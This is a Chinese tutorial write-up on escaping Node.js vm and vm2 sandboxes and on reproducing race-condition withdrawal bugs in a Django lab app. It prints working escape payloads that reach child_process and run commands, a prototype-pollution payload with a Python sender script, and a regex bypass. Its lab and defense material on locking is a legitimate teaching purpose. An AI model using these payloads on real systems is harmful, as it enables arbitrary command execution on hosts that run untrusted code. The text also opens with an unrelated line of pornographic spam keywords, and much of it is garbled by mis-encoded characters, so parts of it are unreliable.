欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

JS沙箱繞過(guò)以及競(jìng)爭(zhēng)條件型漏洞復(fù)現(xiàn)

 更新時(shí)間:2023年08月04日 09:24:30   作者:Catherines7  
沙箱繞過(guò)"是指攻擊者利用各種方法和技術(shù)來(lái)規(guī)避或繞過(guò)應(yīng)用程序或系統(tǒng)中的沙箱,本文主要介紹了JS沙箱繞過(guò)以及競(jìng)爭(zhēng)條件型漏洞復(fù)現(xiàn),具有一定的參考價(jià)值,感興趣的可以了解一下

一、沙箱繞過(guò)

1.概念

沙箱繞過(guò)"是指攻擊者利用各種方法和技術(shù)來(lái)規(guī)避或繞過(guò)應(yīng)用程序或系統(tǒng)中的沙箱(sandbox)。沙箱是一種安全機(jī)制,用于隔離和限制應(yīng)用程序的執(zhí)行環(huán)境,從而防止惡意代碼對(duì)系統(tǒng)造成損害。它常被用于隔離不受信任的代碼,以防止其訪問(wèn)敏感數(shù)據(jù)或?qū)ο到y(tǒng)進(jìn)行未授權(quán)的操作。

當(dāng)攻擊者成功繞過(guò)沙箱時(shí),他們可以在受影響的系統(tǒng)上執(zhí)行惡意代碼,并且有可能獲取敏感信息、傳播惡意軟件、執(zhí)行拒絕服務(wù)攻擊或利用系統(tǒng)漏洞等。

2.例題分析

2.1vm模塊例題1(利用上下文對(duì)象或this指向)

先說(shuō)一下最簡(jiǎn)單的vm模塊,vm模塊是Node.JS內(nèi)置的一個(gè)模塊。理論上不能叫沙箱,他只是Node.JS提供給使用者的一個(gè)隔離環(huán)境。

示例

const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

其實(shí)逃逸出沙箱就一種方法,就是拿到沙箱外部的變量或?qū)ο?,然后?toString方法和.constructor 屬性來(lái)獲取Function這個(gè)屬性,然后拿到process,之后就可以執(zhí)行任意代碼了

這道例題可以直接拿this,因?yàn)檫@里沒(méi)有方法使用了this,此時(shí)this指向global,構(gòu)造如下payload

const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()

this.toString.constructor就是Function這個(gè)方法,然后利用Function返回process對(duì)象

然后調(diào)用子模塊執(zhí)行命令,成功繞過(guò)沙箱

這里可能會(huì)有疑問(wèn),為什么不用m、n來(lái)獲取Function呢,m、n變量都是在外部定義的啊

這個(gè)原因就是因?yàn)閜rimitive types,數(shù)字、字符串、布爾等這些都是primitive types,他們的傳遞其實(shí)傳遞的是值而不是引用,所以在沙盒內(nèi)雖然你也是使用的m,但是這個(gè)m和外部那個(gè)m已經(jīng)不是一個(gè)m了,所以也是無(wú)法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},這樣m、n、x就都可以利用了。

最終用nodejs執(zhí)行下面的代碼

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

成功執(zhí)行

2.2vm模塊例題2(利用toString屬性)

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

 這道例題的this指向就變?yōu)閚ull了,無(wú)法獲取Function屬性,上下文中也沒(méi)有其他對(duì)象

此時(shí)我們可以借助arguments對(duì)象。arguments是在函數(shù)執(zhí)行的時(shí)候存在的一個(gè)變量,我們可以通過(guò)arguments.callee.caller獲得調(diào)用這個(gè)函數(shù)的調(diào)用者。

arguments.callee是遞歸調(diào)用自身,.caller是一個(gè)指向調(diào)用當(dāng)前函數(shù)的函數(shù)的引用。它提供了一種查找調(diào)用棧的方式,可以追溯到調(diào)用當(dāng)前函數(shù)的函數(shù)。所以我們可以使用此方法來(lái)獲取Function。

那么如果我們?cè)谏澈兄卸x一個(gè)函數(shù)并返回,在沙盒外這個(gè)函數(shù)被調(diào)用,那么此時(shí)的arguments.callee.caller就是沙盒外的這個(gè)調(diào)用者,我們?cè)偻ㄟ^(guò)這個(gè)調(diào)用者拿到它的constructor等屬性,就可以繞過(guò)沙箱了。

構(gòu)造如下payload

(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()

 這道題的巧妙之處就在于最后的console.log('Hello ' + res),此時(shí)res不是字符串,而當(dāng)一個(gè)字符串與另一個(gè)非字符串結(jié)合時(shí),會(huì)把res轉(zhuǎn)為字符串,相當(dāng)于res.toString,此時(shí)就調(diào)用了我們payload里面的函數(shù),執(zhí)行了命令

如果沒(méi)有最后的console.log('Hello ' + res)這一句代碼呢,我們還可以使用Proxy來(lái)劫持所有屬性,只要沙箱外獲取了屬性,我們?nèi)匀豢梢杂脕?lái)執(zhí)行惡意代碼,這里就不演示了

2.3vm2模塊例題1(觸發(fā)調(diào)用棧溢出異常)

但前兩個(gè)例題主要說(shuō)的是vm模塊,vm本不是一個(gè)嚴(yán)格沙箱,只是隔離環(huán)境而已。而vm2是一個(gè)正經(jīng)沙箱,難度相較于vm大得多

這道例題是用觸發(fā)外部異常的方式來(lái)繞過(guò)的,但是vm2版本必須是在3.6.10之前

這個(gè)方法有趣的地方就在于,他是想辦法在沙箱外的代碼中觸發(fā)一個(gè)異常,并在沙箱內(nèi)捕捉,這樣就可以獲得一個(gè)外部變量e,再利用這個(gè)變量e的constructor執(zhí)行代碼。

而觸發(fā)異常的方法就是“爆調(diào)用棧”,JavaScript在遞歸超過(guò)一定次數(shù)時(shí)就會(huì)拋出異常。

但我們需要保證的是:拋出異常的這個(gè)函數(shù)是在host作用域中(即沙箱外)。在js執(zhí)行到1001次時(shí),調(diào)用棧溢出,此時(shí)就會(huì)報(bào)錯(cuò)

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
		length: 10,
		utf8Write(){
		}
}
function r(i){
	var x = 0;
	try{
		x = r(i);
	}catch(e){}
	if(typeof(x)!=='number')
		return x;
	if(x!==i)
		return x+1;
	try{
		f.call(ft);
	}catch(e){
		return e;
	}
	return null;
}
var i=1;
while(1){
	try{
		i=r(i).constructor.constructor("return process")();
		break;
	}catch(x){
		i++;
	}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

但是好像v8引擎遞歸的默認(rèn)限制是10000次,等了10多分鐘也沒(méi)有反應(yīng)

因此沒(méi)有去復(fù)現(xiàn)這個(gè)例題 

2.4vm2模塊例題(原型鏈污染+import動(dòng)態(tài)導(dǎo)入)

const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
    try {
        console.log(new VM().run({}.shellcode));
    } catch (e) {
        console.log(e);
    }
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});
app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})
app.listen(3000, function () {
    console.log('start listening on port 3000');
});

之前講過(guò)原型鏈污染,在這里就不贅述了

首先通過(guò)代碼審計(jì)發(fā)現(xiàn)merge、clone方法,那么大概率存在原型鏈污染,再看if條件,需要copybody有shit屬性,且為真才能進(jìn)入backdoor()方法,再看backdoor()方法

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

分析new VM().run({}.shellcode),需要{}有shellcode屬性,我們可以污染原型鏈來(lái)使空對(duì)象有shellcode屬性,然后還需要逃逸出沙箱,這里沒(méi)有上下文對(duì)象,我們可以使用動(dòng)態(tài)導(dǎo)入元素的方法來(lái)繞過(guò)沙箱,構(gòu)造以下payload

{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')
res.toString.constructor(\"return this\")
().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}

 用Python發(fā)送post請(qǐng)求

import requests
import json
url="http://192.168.239.138:3000/"
headers={"Content-type":"application/json"}
data={"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n    res.toString.constructor(\"return this\")\n    ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
req=requests.post(url=url,headers=headers,data=json.dumps(data))
print(req.text)

 最后成功復(fù)現(xiàn)(之前報(bào)錯(cuò)是因?yàn)闆](méi)有寫(xiě)打印語(yǔ)句)

2.5vm2模塊例題(正則繞過(guò))

這道例題由于代碼不全,無(wú)法復(fù)現(xiàn),但是可以分析

const { VM } = require('vm2');
function safeEval(calc) {
  if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return new VM().run(calc);
}

首先if判斷,如果輸入的calc參數(shù)沒(méi)有匹配上這個(gè)正則,那if條件就會(huì)判為真,返回null,如果匹配上了這個(gè)正則,那就會(huì)被替換為空,if條件就會(huì)判為假,最終return new VM().run(calc),所以我們需要匹配上這個(gè)正則才行

這個(gè)正則可以分三部分

  • 第一部分是必須有Math這個(gè)關(guān)鍵字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
  • 第二部分是匹配了+、-*、/&、|^、%<、>、=、,、?、:這些符號(hào)
  • 第三部分是匹配了整數(shù)或者浮點(diǎn)數(shù),比如3.14,也可以使用科學(xué)計(jì)數(shù)法,比如3.9e3

這個(gè)正則可以說(shuō)過(guò)濾得比較嚴(yán)格,但是我們也可以繞過(guò)

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()

分析這個(gè)代碼,首先正則肯定可以匹配上這段代碼

 接下來(lái)我們?cè)俜治鰹槭裁磿?huì)這樣寫(xiě)

它創(chuàng)建了一個(gè)方法,形參Math,方法的內(nèi)容是先將Math.constructor賦值給Math,然后調(diào)用Math.constructor方法,內(nèi)容是Math.fromCharCode({gen(c)}),我們可以先不看gen(c),那么這個(gè).fromCharCode方法有什么用呢?

這個(gè)方法可以將字符的ascii碼轉(zhuǎn)換為字符,這樣我們就可以繞過(guò)它的正則

最后傳參Math+1,這也可以被正則匹配上,那為什么要傳這個(gè)參數(shù)呢

因?yàn)镸ath+1返回的是一個(gè)字符串,而字符串的constructor屬性是toString方法,而toString方法的構(gòu)造函數(shù)就是Function,最后的()立即執(zhí)行。

然后便可以找到vm2對(duì)應(yīng)版本的payload,和正則繞過(guò)結(jié)合,便可以成功實(shí)現(xiàn)繞過(guò)

二、競(jìng)爭(zhēng)型漏洞

1.概念

競(jìng)爭(zhēng)條件型漏洞(Race Condition Vulnerability)是一種安全漏洞,它發(fā)生在多個(gè)進(jìn)程或線程競(jìng)爭(zhēng)訪問(wèn)共享資源時(shí)的情況下。這種漏洞出現(xiàn)的根本原因是并發(fā)操作的不正確管理,導(dǎo)致了不可預(yù)料的結(jié)果。

簡(jiǎn)單來(lái)說(shuō),競(jìng)爭(zhēng)條件型漏洞可能在以下情況下出現(xiàn):

  • 多個(gè)進(jìn)程或線程在訪問(wèn)共享資源(如文件、內(nèi)存、數(shù)據(jù)庫(kù)等)時(shí)沒(méi)有進(jìn)行合適的同步控制。
  • 這些進(jìn)程或線程之間的執(zhí)行順序無(wú)法預(yù)測(cè),因此可能會(huì)導(dǎo)致數(shù)據(jù)的不一致或程序行為異常。

2.環(huán)境搭建

這里我們使用ubuntu和Python3來(lái)復(fù)現(xiàn)漏洞,項(xiàng)目代碼在文章上方,解壓后cd進(jìn)入目錄

注意這里還需要其他依賴(lài)環(huán)境,以下是需要使用pip3安裝的包,官方源下載速度慢,可以更換國(guó)內(nèi)源,我這里用的是阿里云的

root@localhost:~# vim /etc/pip.conf
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/
[install]
trusted-host=mirrors.aliyun.com

djangopytzpython-dotenvdj-database-urlpsycopg2-binarygunicorngeventdjango-bootstrap5waitress

一切準(zhǔn)備就緒后,首先使用migrate生成數(shù)據(jù)庫(kù)表,其次創(chuàng)建超級(jí)用戶,這樣我們才能登錄后臺(tái)(后臺(tái)地址/admin),最后使用collectstatic命令生成前端代碼

python3 manage.py migrate
python3 manage.py createsuperuser
python3 manage.py collectstatic

然后進(jìn)入templates目錄,vim form.html,修改form表單的enctype屬性為"multipart/form-data"

最后的最后使用下面的命令啟動(dòng)服務(wù),端口號(hào)和ip可以自己更改,如果出現(xiàn)報(bào)錯(cuò),大概率是因?yàn)槎丝诒徽加没蛘邲](méi)有cd切換到對(duì)應(yīng)項(xiàng)目目錄下

gunicorn -w 2 -k gevent -b 0.0.0.0:8088 race_condition_playground.wsgi

啟動(dòng)成功后就可以開(kāi)始我們的實(shí)驗(yàn)了

3.復(fù)現(xiàn)過(guò)程

3.1無(wú)鎖無(wú)事務(wù)的競(jìng)爭(zhēng)攻擊

ucenter1是沒(méi)有任何防御的,無(wú)鎖無(wú)事務(wù)   vim /app/ucenter/view.py

這里的css渲染沒(méi)有成功,不知道什么原因,重試了很多次依然沒(méi)用,但是不影響我們的操作

首先進(jìn)入后臺(tái),點(diǎn)擊user

然后點(diǎn)擊超級(jí)用戶名

 然后在money這里添加你想要的錢(qián)數(shù)

然后save保存,之后訪問(wèn)/ucenter/1,如果錢(qián)數(shù)正常就說(shuō)明設(shè)置成功了

之后填入100,用bp抓包,抓包成功后復(fù)制粘貼到Y(jié)akit下,然后選擇并發(fā)配置,刪除不必要的字段

 然后點(diǎn)擊發(fā)送請(qǐng)求,這里我第一次失敗了,第二次再發(fā)送就成功了

這時(shí)我們到后臺(tái)去看看

 發(fā)現(xiàn)有兩次取款100記錄,然而我們的存款只有100,這樣就成功復(fù)現(xiàn)了

3.2無(wú)鎖有事務(wù)的競(jìng)爭(zhēng)攻擊

ucenter2加上了事務(wù)

無(wú)鎖有事務(wù)也并不能防御競(jìng)爭(zhēng)攻擊,事務(wù)只是能夠?qū)崿F(xiàn)操作要么成功要么不成功,并不能鎖住我們的進(jìn)程

我們重新添加錢(qián)數(shù),抓包,和ucenter1操作一樣,這次我一次成功,結(jié)果很明顯,仍然存在競(jìng)爭(zhēng)型漏洞

 我們來(lái)查看后臺(tái)

 兩次記錄,復(fù)現(xiàn)成功,仍然存在競(jìng)爭(zhēng)型漏洞

3.3悲觀鎖加事務(wù)防御

ucenter3加上了悲觀鎖和事務(wù),悲觀鎖的含義是悲觀地認(rèn)為一定會(huì)有進(jìn)程來(lái)更新數(shù)據(jù),所以悲觀鎖會(huì)提前給進(jìn)程加鎖

 在處理表單數(shù)據(jù)之前,也就是前端剛提交數(shù)據(jù)后,就使用select for update和主鍵pk鎖住了這個(gè)進(jìn)程,那這個(gè)時(shí)候讀操作也受到了影響。

那么我們?cè)侔l(fā)包就沒(méi)用了,那我們?cè)俅螠y(cè)試看看

只有一次302跳轉(zhuǎn),也就是說(shuō)只成功取款了一次,查看后臺(tái),也只有一次記錄

但是這里有一個(gè)問(wèn)題,如果有大量讀操作的場(chǎng)景下,使用悲觀鎖會(huì)有性能問(wèn)題,因?yàn)槊看卧L問(wèn)view,都會(huì)鎖住當(dāng)前用戶對(duì)象,此時(shí)其他用戶場(chǎng)景,比如訪問(wèn)主頁(yè),也會(huì)因此卡住。

這樣我們就可以使用樂(lè)觀鎖

3.4樂(lè)觀鎖加事務(wù)防御

樂(lè)觀鎖的含義是樂(lè)觀地認(rèn)為不會(huì)有其他進(jìn)程來(lái)更新數(shù)據(jù),而只是到了需要更新數(shù)據(jù)時(shí),才會(huì)給進(jìn)程加鎖

在前端提交表單數(shù)據(jù)后,樂(lè)觀鎖并沒(méi)有立即鎖住進(jìn)程,而是在需要取款的時(shí)候使用update鎖住,這樣就不會(huì)出現(xiàn)讀操作也被禁止的問(wèn)題了

我們來(lái)測(cè)試看看,并沒(méi)有出現(xiàn)競(jìng)爭(zhēng)漏洞,只有一條302記錄

 查看后臺(tái),仍然只有一條記錄

通過(guò)這個(gè)實(shí)驗(yàn),我們便知道樂(lè)觀鎖加事務(wù)是防御競(jìng)爭(zhēng)條件漏洞的最優(yōu)解 

到此這篇關(guān)于JS沙箱繞過(guò)以及競(jìng)爭(zhēng)條件型漏洞復(fù)現(xiàn)的文章就介紹到這了,更多相關(guān)JS沙箱繞過(guò)內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • JavaScript防止表單重復(fù)提交的方法

    JavaScript防止表單重復(fù)提交的方法

    在web開(kāi)發(fā)中,防止表單的重復(fù)提交是一個(gè)非常重要的環(huán)節(jié)。重復(fù)提交會(huì)導(dǎo)致數(shù)據(jù)混亂,甚至可能導(dǎo)致系統(tǒng)崩潰,今天我們將帶領(lǐng)大家從小白級(jí)別到大神級(jí)別的程序員,一起來(lái)學(xué)習(xí)如何在實(shí)際項(xiàng)目中避免表單的重復(fù)提交
    2023-04-04
  • JS實(shí)現(xiàn)簡(jiǎn)易日歷效果

    JS實(shí)現(xiàn)簡(jiǎn)易日歷效果

    這篇文章主要為大家詳細(xì)介紹了JS實(shí)現(xiàn)簡(jiǎn)易日歷效果,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2021-01-01
  • JavaScript 報(bào)表展示實(shí)現(xiàn)代碼

    JavaScript 報(bào)表展示實(shí)現(xiàn)代碼

    以下是從網(wǎng)上找到的一段JavaScript實(shí)現(xiàn)圖形報(bào)表的代碼,對(duì)于想客戶端顯示報(bào)表的朋友可以參考下。
    2009-12-12
  • 淺談JavaScript中定義變量時(shí)有無(wú)var聲明的區(qū)別

    淺談JavaScript中定義變量時(shí)有無(wú)var聲明的區(qū)別

    這篇文章主要介紹了JavaScript中定義變量時(shí)有無(wú)var聲明的區(qū)別分析以及示例分享,需要的朋友可以參考下
    2014-08-08
  • 微信小程序自定義tabbar欄實(shí)現(xiàn)過(guò)程講解

    微信小程序自定義tabbar欄實(shí)現(xiàn)過(guò)程講解

    tabBar相對(duì)而言用的還是比較多的,但是用起來(lái)并沒(méi)有難,下面這篇文章主要給大家介紹了關(guān)于微信小程序全局配置之tabBar的相關(guān)資料,文中通過(guò)圖文以及示例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2023-02-02
  • JavaScript+CSS無(wú)限極分類(lèi)效果完整實(shí)現(xiàn)方法

    JavaScript+CSS無(wú)限極分類(lèi)效果完整實(shí)現(xiàn)方法

    這篇文章主要介紹了JavaScript+CSS無(wú)限極分類(lèi)效果完整實(shí)現(xiàn)方法,涉及JavaScript針對(duì)頁(yè)面元素節(jié)點(diǎn)遍歷與動(dòng)態(tài)操作技巧,需要的朋友可以參考下
    2015-12-12
  • js腳本獲取webform服務(wù)器控件的方法

    js腳本獲取webform服務(wù)器控件的方法

    asp.net webform中獲取服務(wù)器控件,js腳本獲取服務(wù)器控件需要使用ClientID,下面有個(gè)示例,大家可以參考下
    2014-05-05
  • 前端JavaScript實(shí)現(xiàn)本地模糊搜索功能的方法實(shí)例

    前端JavaScript實(shí)現(xiàn)本地模糊搜索功能的方法實(shí)例

    對(duì)于模糊查詢(xún),一般都是傳關(guān)鍵字給后端,由后端來(lái)做。但是有時(shí)候一些輕量級(jí)的列表前端來(lái)做可以減少ajax請(qǐng)求,在一定程度上提高用戶體驗(yàn),這篇文章主要給大家介紹了關(guān)于前端JavaScript如何實(shí)現(xiàn)本地模糊搜索功能的相關(guān)資料,需要的朋友可以參考下
    2021-07-07
  • JavaScript 接收鍵盤(pán)指令示例

    JavaScript 接收鍵盤(pán)指令示例

    JavaScript接收鍵盤(pán)指令示例,按下鍵盤(pán)上不同的鍵,程序會(huì)跳轉(zhuǎn)到不同的網(wǎng)頁(yè),本例中按下A鍵程序?yàn)樘D(zhuǎn)到腳本之家的首頁(yè),實(shí)現(xiàn)按鍵跳轉(zhuǎn)的功能。
    2009-10-10
  • iframe里使用JavaScript控制主頁(yè)轉(zhuǎn)向的方法

    iframe里使用JavaScript控制主頁(yè)轉(zhuǎn)向的方法

    這篇文章主要介紹了iframe里使用JavaScript控制主頁(yè)轉(zhuǎn)向的方法,涉及使用javascript實(shí)現(xiàn)iframe頁(yè)面跳轉(zhuǎn)的技巧,需要的朋友可以參考下
    2015-04-04

最新評(píng)論